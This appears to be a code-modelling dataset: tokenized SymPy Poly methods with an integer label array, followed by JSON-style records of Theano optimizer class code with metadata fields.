"Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "nth", "\\u", "power", "\\u", "root", "s", "\\u", "poly_", "(_", "f_", ",_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Construct", " ", "a", " ", "polynomial", " ", "with", " ", "n", "-", "th", " ", "powers", " ", "of", " ", "root", "s", " ", "of", " ", "``", "f", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", " ", "=", " ", "Poly", "(", "x", "**", "4", " ", "-", " ", "x", "**", "2", " ", "+", " ", "1", ")", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "nth", "\\u", "power", "\\u", "root", "s", "\\u", "poly", "(", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "4", " ", "-", " ", "2", "*", "x", "**", "3", " ", "+", " ", "3", "*", "x", "**", "2", " ", "-", " ", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "nth", "\\u", "power", "\\u", "root", "s", "\\u", "poly", "(", "3", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "4", " ", "+", " ", "2", "*", "x", "**", "2", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "nth", "\\u", "power", "\\u", "root", "s", "\\u", "poly", "(", "4", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "4", " ", "+", " ", "2", "*", "x", "**", "3", " ", "+", " ", "3", "*", "x", "**", "2", " ", "+", " ", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "f", ".", "nth", "\\u", "power", "\\u", "root", "s", "\\u", "poly", "(", "1", "2", ")", "\\", "10", ";", " ", " ", " ", " ", "Poly", "(", "x", "**", "4", " ", "-", " ", "4", "*", "x", "**", "3", " ", "+", " ", "6", "*", "x", "**", "2", " ", "-", " ", "4", "*", "x", " ", "+", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "f_", "._", "is", "\\u", "multivariate", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Multi", "varia", "te", "Polynomial", "Error_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "must", " ", "be", " ", "a", " ", "univ", "aria", "te", " ", "polynomial", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "N_", "=_", "symp", "ify_", "(_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "N_", "._", "is", "\\u", "Integer_", "and_", "N_", ">=_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "int_", "(_", "N_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"'", "n", "'", " ", "must", " ", "an", " ", "integ", "er", " ", "and", " ", "n", " ", ">=", " ", "1", ",", " ", "got", " ", "%", "s", "\"_", "%_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "x_", "=_", "f_", "._", "gen_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "Dummy_", "(_", "'", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "r_", "=_", "f_", "._", "result", "ant_", "(_", "f_", "._", "\\u\\u", "class\\u\\u_", "._", "from", "\\u", "expr_", "(_", "x_", "**_", "n_", "-_", "t_", ",_", "x_", ",_", "t_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "r_", "._", "replace_", "(_", "t_", ",_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "cancel_", "(_", "f_", ",_", "g_", ",_", "include_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Cancel", " ", "common", " ", "factor", "s", " ", "in", " ", "a", " ", "rational", " ", "function", " ", "``", "f", "/", "g", "``.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", " ", "import", " ", "Poly", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", "**", "2", " ", "-", " ", "2", ",", " ", "x", ").", "cancel", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", "))\\", "10", ";", " ", " ", " ", " ", "(", "1", ",", " ", "Poly", "(", "2", "*", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "Poly", "(", "2", "*", "x", "**", "2", " ", "-", " ", "2", ",", " ", "x", ").", "cancel", "(", "Poly", "(", "x", "**", "2", " ", "-", " ", "2", "*", "x", " ", "+", " ", "1", ",", " ", "x", "),", " ", "include", "=", "Tru", "e", ")", "\\", "10", ";", " ", " ", " ", " ", "(", "Poly", "(", "2", "*", "x", " ", "+", " ", "2", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "')", ",", " ", "Poly", "(", "x", " ", "-", " ", "1", ",", " ", "x", ",", " ", "domain", "='", "ZZ", "'))", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "=_", "f_", "._", "\\u", "unify", "_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "hasattr_", "(_", "F_", ",_", "'", "cancel", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "F_", "._", "cancel_", "(_", "G_", ",_", "include_", "=_", "include_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "#", " ", "pragma", ":", " ", "no", " ", "cover_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Opera", "tion", "Not", "Supported_", "(_", "f_", ",_", "'", "cancel", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "include_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "dom_", "._", "has", "\\u", "assoc", "\\u", "Ring_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dom_", "=_", "dom_", "._", "get", "\\u", "ring_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cp_", ",_", "cq", "_", ",_", "p_", ",_", "q_", "=_", "result_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "cp_", "=_", "dom_", "._", "to", "\\u", "sympy_", "(_", "cp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cq", "_", "=_", "dom_", "._", "to", "\\u", "sympy_", "(_", "cq", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "cp_", "/_", "cq", "_", ",_", "per_", "(_", "p_", ")_", ",_", "per_", "(_", "q_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "tuple_", "(_", "map_", "(_", "per_", ",_", "result_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "abs", "\\u\\u_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "abs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "neg", "\\u\\u_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "neg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "nonzero\\u", "\\u_", "(_", "f_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "not_", "f_", "._", "is", "\\u", "zero_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "eq_", "(_", "f_", ",_", "g_", ",_", "strict_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "strict_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "\\u\\u", "eq\\u\\u_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "\\u", "strict", "\\u", "eq_", "(_", "symp", "ify_", "(_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ne_", "(_", "f_", ",_", "g_", ",_", "strict_", "=_", "False_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "not_", "f_", "._", "eq_", "(_", "g_", ",_", "strict_", "=_", "strict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Poly_", "(_", "Expr_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "strict", "\\u", "eq_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "g_", ",_", "f_", "._", "\\u\\u", "class\\u\\u_", ")_", "and_", "f_", "._", "gens_", "==_", "g_", "._", "gens_", "and_", "f_", "._", "rep_", "._", "eq_", "(_", "g_", "._", "rep_", ",_", "strict_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pur", "e", "Poly_", "(_", "Poly_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "strict", "\\u", "eq_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "g_", ",_", "f_", "._", "\\u\\u", "class\\u\\u_", ")_", "and_", "f_", "._", "rep_", "._", "eq_", "(_", "g_", "._", "rep_", ",_", "strict_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Pur", "e", "Poly_", "(_", "Poly_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "unify", "_", "(_", "f_", ",_", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g_", "=_", "symp", "ify_", "(_", "g_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "g_", "._", "is", "\\u", "Poly_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "f_", "._", "rep_", "._", "dom_", ",_", "f_", "._", "per_", ",_", "f_", "._", "rep_", ",_", "f_", "._", "rep_", "._", "per_", "(_", "f_", "._", "rep_", "._", "dom_", "._", "from", "\\u", "sympy_", "(_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Coe", "rci", "on", "Failed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Uni", "fication", "Failed_", "(_", "\"", "can", "'", "t", " ", "unify", " ", "%", "s", " ", "with", " ", "%", "s", "\"_", "%_", "(_", "f_", ",_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "f_", "._", "gens_", ")_", "!=_", "len_", "(_", "g_", "._", "gens_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Uni", "fication", "Failed_", "(_", "\"", "can", "'", "t", " ", "unify", " ", "%", "s", " ", "with", " ", "%", "s", "\"_", "%_", "(_", "f_", ",_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "(_", "isinstance_", "(_", "f_", "._", "rep_", ",_", "DM", "P_", ")_", "and_", "isinstance_", "(_", "g_", "._", "rep_", ",_", "DM", "P_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Uni", "fication", "Failed_", "(_", "\"", "can", "'", "t", " ", "unify", " ", "%", "s", " ", "with", " ", "%", "s", "\"_", "%_", "(_", "f_", ",_", "g_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cls_", "=_", "f_", "._", "\\u\\u", "class\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "gens_", "=_", "f_", "._", "gens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dom_", "=_", "f_", "._", "rep_", "._", "dom_", "._", "unify", "_", "(_", "g_", "._", "rep_", "._", "dom_", ",_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "F_", "=_", "f_", "._", "rep_", "._", "convert_", "(_", "dom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "G_", "=_", "g_", "._", "rep_", "._", "convert_", "(_", "dom_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "per_", "(_", "rep_", ",_", "dom_", "=_", "dom_", ",_", "gens_", "=_", "gens_", ",_", "remove_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "remove_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gens_", "=_", "gens_", "[_", ":_", "remove_", "]_", "+_", "gens_", "[_", "remove_", "+_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "gens_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "return_", "dom_", "._", "to", "\\u", "sympy_", "(_", "rep_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cls_", "._", "new_", "(_", "rep_", ",_", "*_", "gens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "dom_", ",_", "per_", ",_", "F_", ",_", "G_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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An L{Optimizer} can be applied to an L{FunctionGraph} to transform it.\n It can represent an optimization or in general any kind\n of transformation you could apply to an L{FunctionGraph}.\n\n \"\"\"\n\n\n\n\n\n\n\n\n", "metadata": "root.Optimizer", "header": "['module', '___EOS___']", "index": 37 }, { "content": " def __hash__(self):\n if not hasattr(self, '_optimizer_idx'):\n self._optimizer_idx = _optimizer_idx[0]\n _optimizer_idx[0] += 1\n return self._optimizer_idx", "metadata": "root.Optimizer.__hash__", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 47 }, { "content": " def __eq__(self, other):\n # added to override the __eq__ implementation that may be inherited\n # in subclasses from other bases.\n return id(self) == id(other)", "metadata": "root.Optimizer.__eq__", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 53 }, { "content": " def __neq__(self, other):\n # added to override the __neq__ implementation that may be inherited\n # in subclasses from other bases.\n return id(self) != id(other)", "metadata": "root.Optimizer.__neq__", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 58 }, { "content": " def apply(self, fgraph):\n \"\"\"\n WRITEME\n\n Applies the optimization to the provided L{FunctionGraph}. It may\n use all the methods defined by the L{FunctionGraph}. If the\n L{Optimizer} needs to use a certain tool, such as an\n L{InstanceFinder}, it can do so in its L{add_requirements} method.\n\n \"\"\"\n pass", "metadata": "root.Optimizer.apply", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 63 }, { "content": " def optimize(self, fgraph, *args, **kwargs):\n \"\"\"\n WRITEME\n\n This is meant as a shortcut to:\n opt.add_requirements(fgraph)\n opt.apply(fgraph)\n\n \"\"\"\n self.add_requirements(fgraph)\n try:\n orig = theano.tensor.basic.constant.enable\n theano.tensor.basic.constant.enable = False\n ret = self.apply(fgraph, *args, **kwargs)\n finally:\n theano.tensor.basic.constant.enable = orig\n return ret", "metadata": "root.Optimizer.optimize", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 75 }, { "content": " def __call__(self, fgraph):\n \"\"\"\n WRITEME\n\n Same as self.optimize(fgraph).\n\n \"\"\"\n return self.optimize(fgraph)", "metadata": "root.Optimizer.__call__", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 93 }, { "content": " def add_requirements(self, fgraph):\n \"\"\"\n WRITEME\n\n Add features to the fgraph that are required to apply the optimization.\n For example:\n fgraph.attach_feature(History())\n fgraph.attach_feature(MyFeature())\n etc.\n\n \"\"\"\n pass", "metadata": "root.Optimizer.add_requirements", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 102 }, { "content": " def print_summary(self, stream=sys.stdout, level=0, depth=-1):\n name = getattr(self, 'name', None)\n print(\"%s%s %s id=%i\" % (\n (' ' * level), self.__class__.__name__, name, id(self)), file=stream)", "metadata": "root.Optimizer.print_summary", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 115 }, { "content": " @staticmethod\n def print_profile(stream, prof, level=0):\n if prof is not None:\n raise NotImplementedError(\n \"The function print_profile must be overrided if the\"\n \" optimizer return profiling information.\")", "metadata": "root.Optimizer.print_profile", "header": "['class', 'Optimizer', '(', 'object', ')', ':', '___EOS___']", "index": 120 }, { "content": "class FromFunctionOptimizer(Optimizer):\n \"\"\"\n WRITEME\n\n \"\"\"\n\n\n\n", "metadata": "root.FromFunctionOptimizer", "header": "['module', '___EOS___']", "index": 128 }, { "content": " def __init__(self, fn, requirements=()):\n self.apply = fn\n self.requirements = requirements", "metadata": "root.FromFunctionOptimizer.__init__", "header": "['class', 'FromFunctionOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 133 }, { "content": " def add_requirements(self, fgraph):\n for req in self.requirements:\n req(fgraph)", "metadata": "root.FromFunctionOptimizer.add_requirements", "header": "['class', 'FromFunctionOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 137 }, { "content": " def print_summary(self, stream=sys.stdout, level=0, depth=-1):\n print(\"%s%s id=%i\" % (\n ' ' * level,\n str(self.apply),\n id(self)), file=stream)", "metadata": "root.FromFunctionOptimizer.print_summary", "header": "['class', 'FromFunctionOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 141 }, { "content": " def __call__(self, *args, **kwargs):\n return self.fn(*args, **kwargs)", "metadata": "root.FromFunctionOptimizer.__call__", "header": "['class', 'FromFunctionOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 147 }, { "content": " def __str__(self):\n return self.__name__", "metadata": "root.FromFunctionOptimizer.__str__", "header": "['class', 'FromFunctionOptimizer', '(', 'Optimizer', ')', ':', '___EOS___']", "index": 150 }, { "content": "class SeqOptimizer(Optimizer, list):\n # inherit from Optimizer first to get Optimizer.__hash__\n \"\"\"\n WRITEME\n\n Takes a list of L{Optimizer} instances and applies them\n sequentially.\n\n \"\"\"\n\n\n\n\n\n\n", "metadata": "root.SeqOptimizer", "header": "['module', '___EOS___']", "index": 177 }, { "content": " @staticmethod\n def warn(exc, self, optimizer):\n \"\"\"\n Default failure_callback for SeqOptimizer.\n\n \"\"\"\n _logger.error(\"SeqOptimizer apply %s\" % str(optimizer))\n _logger.error(\"Traceback:\")\n _logger.error(traceback.format_exc())\n if config.on_opt_error == 'raise':\n raise exc\n elif config.on_opt_error == 'pdb':\n pdb.post_mortem(sys.exc_info()[2])", "metadata": "root.SeqOptimizer.warn", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 186 }, { "content": " def __init__(self, *opts, **kw):\n \"\"\"\n WRITEME\n\n \"\"\"\n if len(opts) == 1 and isinstance(opts[0], (list, tuple)):\n opts = opts[0]\n self[:] = opts\n self.failure_callback = kw.pop('failure_callback', None)", "metadata": "root.SeqOptimizer.__init__", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 200 }, { "content": " def apply(self, fgraph):\n \"\"\"\n WRITEME\n\n Applies each L{Optimizer} in self in turn.\n\n \"\"\"\n l = []\n if fgraph.profile:\n validate_before = fgraph.profile.validate_time\n sub_validate_time = [validate_before]\n else:\n sub_validate_time = []\n callback_before = fgraph.execute_callbacks_time\n nb_node_before = len(fgraph.apply_nodes)\n sub_profs = []\n for optimizer in self:\n try:\n t0 = time.time()\n sub_prof = optimizer.optimize(fgraph)\n l.append(float(time.time() - t0))\n sub_profs.append(sub_prof)\n if fgraph.profile:\n sub_validate_time.append(fgraph.profile.validate_time)\n except AssertionError:\n # do not catch Assertion failures\n raise\n except Exception as e:\n if self.failure_callback:\n self.failure_callback(e, self, optimizer)\n continue\n else:\n raise\n\n if fgraph.profile:\n validate_time = fgraph.profile.validate_time - validate_before\n else:\n validate_time = None\n callback_time = fgraph.execute_callbacks_time - callback_before\n return (self, l, validate_time, callback_time, nb_node_before,\n len(fgraph.apply_nodes), sub_profs, sub_validate_time)", "metadata": "root.SeqOptimizer.apply", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 210 }, { "content": " def __str__(self):\n return \"SeqOpt(%s)\" % list.__str__(self)", "metadata": "root.SeqOptimizer.__str__", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 252 }, { "content": " def __repr__(self):\n return list.__repr__(self)", "metadata": "root.SeqOptimizer.__repr__", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 255 }, { "content": " def print_summary(self, stream=sys.stdout, level=0, depth=-1):\n name = getattr(self, 'name', None)\n print(\"%s%s %s id=%i\" % (\n (' ' * level), self.__class__.__name__, name, id(self)), file=stream)\n # This way, -1 will do all depth\n if depth != 0:\n depth -= 1\n for opt in self:\n opt.print_summary(stream, level=(level + 2), depth=depth)", "metadata": "root.SeqOptimizer.print_summary", "header": "['class', 'SeqOptimizer', '(', 'Optimizer', ',', 'list', ')', ':', '___NEWLINE___', '# inherit from Optimizer first to get Optimizer.__hash__', '___NL___', '___EOS___']", "index": 258 }, { "content": " @staticmethod\n def print_profile(stream, prof, level=0):\n (opts, prof, validate_time, callback_time, nb_node_before,\n nb_node_after, sub_profs, sub_validate_time) = prof\n blanc = (' ' * level)\n\n print(blanc, \"SeqOptimizer\", end=' ', file=stream)\n if hasattr(opts, \"name\"):\n print(blanc, opts.name, end=' ', file=stream)\n elif 